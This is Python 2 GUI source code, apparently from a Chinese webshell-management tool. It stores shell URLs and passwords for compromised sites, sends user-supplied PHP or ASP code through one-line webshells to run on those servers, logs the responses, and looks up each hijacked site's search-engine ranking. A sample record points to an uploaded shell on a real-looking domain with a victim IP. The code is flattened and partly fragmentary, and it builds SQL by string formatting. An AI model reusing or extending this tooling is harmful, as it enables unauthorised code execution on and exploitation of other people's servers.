def br_pr_sogo_3(self): #获取 百度 谷歌 搜狗 权重 self.ui.main_pushButton_3.setEnabled(0) #给改成禁用 int_model = self.ui.SQLite_tableView.selectionModel() #获取选中编号 model = self.ui.SQLite_tableView.model( ) #index = model.index(3,1)#data = model.data(index)#print data.toString() for index in int_model.selectedRows(): #// 对于被选中的每一行 try: int_index = index.row() #获取行号 s0 = model.data(model.index(int_index, 0)).toString() s1 = model.data(model.index(int_index, 1)).toString() #s0=br_pr_sogo.get_domain(str(s0),0) baidu_br = br_pr_sogo.baidu_br( br_pr_sogo.get_domain(str(s0), 0)) if int(baidu_br) <= 0: #print "0000000000000000000000000" baidu_br = br_pr_sogo.aizhan_br( br_pr_sogo.get_domain(str(s0), 0)) google_pr = br_pr_sogo.google_pr(s0) sogo = br_pr_sogo.sogo(br_pr_sogo.get_domain(str(s0), 0)) self.tableView_add(int_index, None, None, None, None, baidu_br, google_pr, sogo, None, None, None) #添加数据 sql_data = "update shell set br='%s',pr='%s',sogo='%s' where urls1='%s' and passwods2='%s'" % ( baidu_br, google_pr, sogo, urllib.quote(str(s0[0:len(s0) - 2])), str(s1)) #print sql_data self.sql3.mysqlite3_update(sql_data) except BaseException, e: print(str(e)) self.ui.main_pushButton_3.setEnabled(1) return 0
def php_cs_js(self): self.ui.main_pushButton_PHP.setEnabled(0) #给改成禁用 int_model = self.ui.SQLite_tableView.selectionModel() #获取选中编号 model = self.ui.SQLite_tableView.model()#index = model.index(3,1)#data = model.data(index)#print data.toString() PHP_data=self.ui.textEdit_PHP_data.toPlainText() #获取内容 self.write2file("data.php",PHP_data) PHP_data=str(PHP_data) #.decode('utf-8').encode('gbk') PHP_data=self.x0_zs(PHP_data) #清除注释<?php ?> PHP_data=self.x1_zs(PHP_data) #清除注释/* */ PHP_data=self.x2_zs(PHP_data) #清除//注释 PHP_data=self.open_file_null(PHP_data) #清除空行 #print PHP_data for index in int_model.selectedRows(): #// 对于被选中的每一行 try: int_index=index.row()#获取行号 s0= model.data(model.index(int_index,0)).toString() s1= model.data(model.index(int_index,1)).toString() #s0="http://localhost/long.php" #s1="long123" if g.bool_asp_php(s0)=="php": fiel_data=self.yijuhua_php_js(str(s0),str(s1),str(PHP_data)) data=self.web_rand_file_data(str(s0),str(s1),str(fiel_data)) #HTML内容 self.write2file("log/"+br_pr_sogo.get_domain(str(s0),0)+"_"+g.bool_asp_php(s0)+".html",data) #写入文件 except BaseException, e: print(str(e)) self.ui.main_pushButton_PHP.setEnabled(1) return 0
def ASP_cs_js(self): self.ui.main_pushButton_ASP.setEnabled(0) #给改成禁用 int_model = self.ui.SQLite_tableView.selectionModel() #获取选中编号 model = self.ui.SQLite_tableView.model()#index = model.index(3,1)#data = model.data(index)#print data.toString() ASP_data=self.ui.textEdit_ASP_data.toPlainText() #获取内容 self.write2file("data.asp",ASP_data) ASP_data=str(ASP_data) #.decode('utf-8').encode('gbk') ASP_data=self.asp_x0_zs(ASP_data) #清除<% %> ASP_data=self.asp_x2_zs(ASP_data) #清除'注释 ASP_data=self.open_file_null(ASP_data) #清除空行 ASP_data=self.asp_x2_zs(ASP_data) #清除'注释 #print ASP_data for index in int_model.selectedRows(): #// 对于被选中的每一行 try: int_index=index.row()#获取行号 s0= model.data(model.index(int_index,0)).toString() s1= model.data(model.index(int_index,1)).toString() # s0="http://192.168.1.100/long.asp" # s1="long123" if g.bool_asp_php(s0)=="asp": fiel_data=self.yijuhua_ASP_js(str(s0),str(s1),str(self.str_char(ASP_data))) #print fiel_data data=self.web_rand_file_data(str(s0),str(s1),str(fiel_data)) #HTML内容 self.write2file("log/"+br_pr_sogo.get_domain(str(s0),0)+"_"+g.bool_asp_php(s0)+".html",data) #写入文件 except BaseException, e: print(str(e)) self.ui.main_pushButton_ASP.setEnabled(1) return 0
def br_pr_sogo(self, s0, s1): #获取 百度 谷歌 搜狗 权重 try: #s0=br_pr_sogo.get_domain(str(s0),0) baidu_br = br_pr_sogo.baidu_br(br_pr_sogo.get_domain(str(s0), 0)) if int(baidu_br) <= 0: #print "0000000000000000000000000" baidu_br = br_pr_sogo.aizhan_br( br_pr_sogo.get_domain(str(s0), 0)) google_pr = br_pr_sogo.google_pr(s0) sogo = br_pr_sogo.sogo(br_pr_sogo.get_domain(str(s0), 0)) sql_data = "update shell set br='%s',pr='%s',sogo='%s' where urls1='%s' and passwods2='%s'" % ( baidu_br, google_pr, sogo, str(s0), str(s1)) #print sql_data self.sql3.mysqlite3_update(sql_data) print u"URL:%s--br:%s pr:%s sougo:%s" % (br_pr_sogo.get_domain( str(s0), 1), baidu_br, google_pr, sogo) except BaseException, e: print(str(e)) return 0
def web_rand_file_data(self,url,paspassword,web_data): try: data="""<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <head> <title>网址%s</title> </head> 一句话地址:%s密码:%s----------time:%s--------落雪技术支持QQ:2602159946 <br/> ------------------下面为返回数据------------------ <br/> %s <body> </body> </html>"""%(br_pr_sogo.get_domain(str(url),0),url,paspassword,datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"),web_data) return data except Exception, e: return "======="
def br_pr_sogo_5(self): #获取 百度 谷歌 搜狗 权重 self.ui.pushButton_5.setEnabled(0) #给改成禁用 int_model = self.ui.tableView.selectionModel() #获取选中编号 model = self.ui.tableView.model( ) #index = model.index(3,1)#data = model.data(index)#print data.toString() for index in int_model.selectedRows(): #// 对于被选中的每一行 try: data1 = "" int_index = index.row() #获取行号 s0 = model.data(model.index(int_index, 0)).toString() url = br_pr_sogo.get_domain(str(s0), 0) if self.ui.checkBox_1.isChecked(): #建站时间 url_time = baidu_360_sougo_wl_sl.url_time(url) #查询域名注册时间 url_time2 = u"%s" % (url_time) data1 += "urltime='%s'," % (urllib.quote(str(url_time))) self.tableView_add(int_index, None, None, None, url_time2) #添加数据 if self.ui.checkBox_2.isChecked(): #br baidu_br = br_pr_sogo.baidu_br(url) if int(baidu_br) <= 0: #print "0000000000000000000000000" baidu_br = br_pr_sogo.aizhan_br(url) data1 += "br='%s'," % (baidu_br) self.tableView_add(int_index, None, None, None, None, baidu_br) #添加数据 if self.ui.checkBox_3.isChecked(): #pr google_pr = br_pr_sogo.google_pr(url) data1 += "pr='%s'," % (google_pr) self.tableView_add(int_index, None, None, None, None, None, google_pr) #添加数据 if self.ui.checkBox_4.isChecked(): #sr sogo = br_pr_sogo.sogo(url) data1 += "sr='%s'," % (sogo) self.tableView_add(int_index, None, None, None, None, None, None, sogo) #添加数据 if self.ui.checkBox_5.isChecked(): #百度收录 baidu_sl = baidu_360_sougo_wl_sl.baidu_sl(url) #百度收录数量 data1 += "baidus1='%s'," % (baidu_sl) self.tableView_add(int_index, None, None, None, None, None, None, None, baidu_sl) #添加数据 if self.ui.checkBox_6.isChecked(): #百度外链 baidu_wl = baidu_360_sougo_wl_sl.baidu_wl(url) #百度外部链接 data1 += "baidus2='%s'," % (baidu_wl) self.tableView_add(int_index, None, None, None, None, None, None, None, None, baidu_wl) #添加数据 if self.ui.checkBox_7.isChecked(): #360收录 s360_sl = baidu_360_sougo_wl_sl.s360_sl(url) #360收录数量 data1 += "s360s1='%s'," % (s360_sl) self.tableView_add(int_index, None, None, None, None, None, None, None, None, None, s360_sl) #添加数据 if self.ui.checkBox_8.isChecked(): #360外链 s360_wl = baidu_360_sougo_wl_sl.s360_wl(url) #360外部链接 data1 += "s360s2='%s'," % (s360_wl) self.tableView_add(int_index, None, None, None, None, None, None, None, None, None, None, s360_wl) #添加数据 if self.ui.checkBox_9.isChecked(): #搜狗收录 sogou_sl = baidu_360_sougo_wl_sl.sogou_sl(url) #sogou收录数量 data1 += "sougos1='%s'," % (sogou_sl) self.tableView_add(int_index, None, None, None, None, None, None, None, None, None, None, None, sogou_sl) #添加数据 if self.ui.checkBox_10.isChecked(): #搜狗外链 sogou_wl = baidu_360_sougo_wl_sl.sogou_wl(url) #sogou外部链接 data1 += "sougos2='%s'," % (sogou_wl) self.tableView_add(int_index, None, None, None, None, None, None, None, None, None, None, None, None, sogou_wl) #添加数据 if self.ui.checkBox_11.isChecked(): #bing收录 bing_sl = baidu_360_sougo_wl_sl.bing_sl(url) #bing收录数量 data1 += "bings1='%s'," % (bing_sl) self.tableView_add(int_index, None, None, None, None, None, None, None, None, None, None, None, None, None, bing_sl) #添加数据 if self.ui.checkBox_12.isChecked(): #bing外链 bing_wl = baidu_360_sougo_wl_sl.bing_wl(url) #bing外部链接 data1 += "bings2='%s'," % (bing_wl) self.tableView_add(int_index, None, None, None, None, None, None, None, None, None, None, None, None, None, None, bing_wl) #添加数据 if self.ui.checkBox_13.isChecked(): #百度来路ip aizhan_ip = baidu_360_sougo_wl_sl.open_get_aizhan_ip( url) #获取爱站统计大概IP aizhan_ip2 = u"%s" % (aizhan_ip) data1 += "ip='%s'," % (aizhan_ip2) self.tableView_add(int_index, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, aizhan_ip2) #添加数据 #sql_data="update url set %s where url='%s'"%(data1[0:len(data1)-1],urllib.quote(str(s0[0:len(s0)-2]))) sql_data = "update url set %s where url='%s'" % ( data1[0:len(data1) - 1], str(s0)) #self.tableView_add(int_index,None,url_time2,None,None,None,baidu_sl,baidu_wl,s360_sl,s360_wl,sogou_sl,sogou_wl,bing_sl,bing_wl,aizhan_ip2) #添加数据 #sql_data="update url set urltime='%s',baidus1='%s',baidus2='%s',s360s1='%s',s360s2='%s',sougos1='%s',sougos2='%s',bings1='%s',bings2='%s',ip='%s' "\ # "where url='%s'"%(urllib.quote(str(url_time)),baidu_sl,baidu_wl,s360_sl,s360_wl,sogou_sl,sogou_wl,bing_sl,bing_wl,aizhan_ip2,urllib.quote(str(s0[0:len(s0)]))) print sql_data self.sql3.mysqlite3_update(sql_data) except BaseException, e: #print(str(e)) pass
int_id += 1 cur.close() #关闭游标 def pushButton_8(self): #显示失败webshell self.del_tableView() #清空数据 sql_data = "select * from url where zt is null or zt='No' order by time DESC" # asc 表示升序 , desc表示降序 #select * from shell where zts3='no' or zts3='None' self.sql3.conn.commit() # 获取到游标对象 cur = self.sql3.conn.cursor() # 用游标来查询就可以获取到结果 cur.execute(sql_data) # 获取所有结果 res = cur.fetchall() #从结果中取出所有记录 int_id = 0 for line in res: #self.url_data=line[0] s0 = u"%s" % (urllib.unquote(str(line[0]))) s3 = u"%s" % (urllib.unquote(str(line[3]))) s15 = u"%s" % (str(line[15])) self.tableView_add(int_id, s0, str(line[1]), str(line[2]), s3, str(line[4]), str(line[5]), str(line[6]), str(line[7]), str(line[8]), str(line[9]), str(line[10]), str(line[11]), str(line[12]), str(line[13]), str(line[14]), s15) #添加数据 int_id += 1 cur.close() #关闭游标 if __name__ == "__main__": baidu_br = br_pr_sogo.baidu_br( br_pr_sogo.get_domain( str("http://www.baidu.com///upload/20150118182027.php|autoshell|ok|null|0|5|1|218.65.17.105/江西省上饶市横峰县-|2015-02-15 00:01:06|2015-02-01 00:30:27" ), 0)) print baidu_br